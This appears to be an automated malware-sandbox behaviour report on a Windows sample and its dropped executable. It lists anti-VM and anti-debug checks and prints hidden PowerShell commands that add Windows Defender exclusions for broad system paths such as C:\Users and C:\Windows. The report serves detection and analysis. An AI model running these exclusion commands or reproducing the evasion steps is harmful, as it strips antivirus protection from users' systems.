Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Reka\rapnewsa.exe

Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess

graph_19-2494

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Reka\rapnewsa.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

graph_19-2582

Query firmware table information (likely to detect VMs)

Source: C:\Reka\rapnewsa.exe

System information queried: FirmwareTableInformation

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6033	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3778	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7485	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1973	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8198	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1310	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8076	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1393	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7397
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2077
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7469
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2115
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8404
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1091

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6572	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1720	Thread sleep count: 7485 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3844	Thread sleep count: 1973 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3168	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5796	Thread sleep count: 8198 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5796	Thread sleep count: 1310 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5660	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6520	Thread sleep count: 8076 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2472	Thread sleep count: 1393 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1148	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3228	Thread sleep count: 7397 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3992	Thread sleep count: 2077 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1432	Thread sleep time: -6456360425798339s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 928	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2696	Thread sleep time: -5534023222112862s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Reka\rapnewsa.exe

Code function: 19_2_00A48D40 FindFirstFileW,FindNextFileW,FindClose,

19_2_00A48D40

Source: C:\Reka\rapnewsa.exe

Code function: 19_2_00A48CA0 GetSystemInfo,

19_2_00A48CA0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Reka\rapnewsa.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\
Source: C:\Reka\rapnewsa.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\
Source: C:\Reka\rapnewsa.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\
Source: C:\Reka\rapnewsa.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\
Source: C:\Reka\rapnewsa.exe	File opened: C:\Users\user\AppData\Local\Adobe\
Source: C:\Reka\rapnewsa.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\

Source: rapnewsa.exe, 00000013.00000002.2038436475.000000000118E000.00000004.00000020.00020000.00000000.sdmp, rapnewsa.exe, 00000013.00000002.2038436475.00000000011D6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 1feP5qTCl0.exe, 00000000.00000002.2051703906.000001D8021E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll,

Source: C:\Reka\rapnewsa.exe	API call chain: ExitProcess graph end node			graph_19-2510
Source: C:\Reka\rapnewsa.exe	API call chain: ExitProcess graph end node			graph_19-2504

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Reka\rapnewsa.exe	Process queried: DebugPort
Source: C:\Reka\rapnewsa.exe	Process queried: DebugPort

Source: C:\Reka\rapnewsa.exe

Code function: 19_2_00A417E0 GlobalHandle,LoadLibraryA,GetProcAddress,

19_2_00A417E0

Source: C:\Reka\rapnewsa.exe

Code function: 19_2_00A41A20 mov eax, dword ptr fs:[00000030h]

19_2_00A41A20

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows'"
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files'"
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files (x86)'"
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Recovery'"
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Reka'"
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%USERPROFILE%\Desktop'"
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users'"	Jump to behavior
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows'"	Jump to behavior
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files'"	Jump to behavior
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files (x86)'"	Jump to behavior
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Recovery'"	Jump to behavior
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Reka'"	Jump to behavior
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%USERPROFILE%\Desktop'"	Jump to behavior

Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users'"	Jump to behavior
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows'"	Jump to behavior
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files'"	Jump to behavior
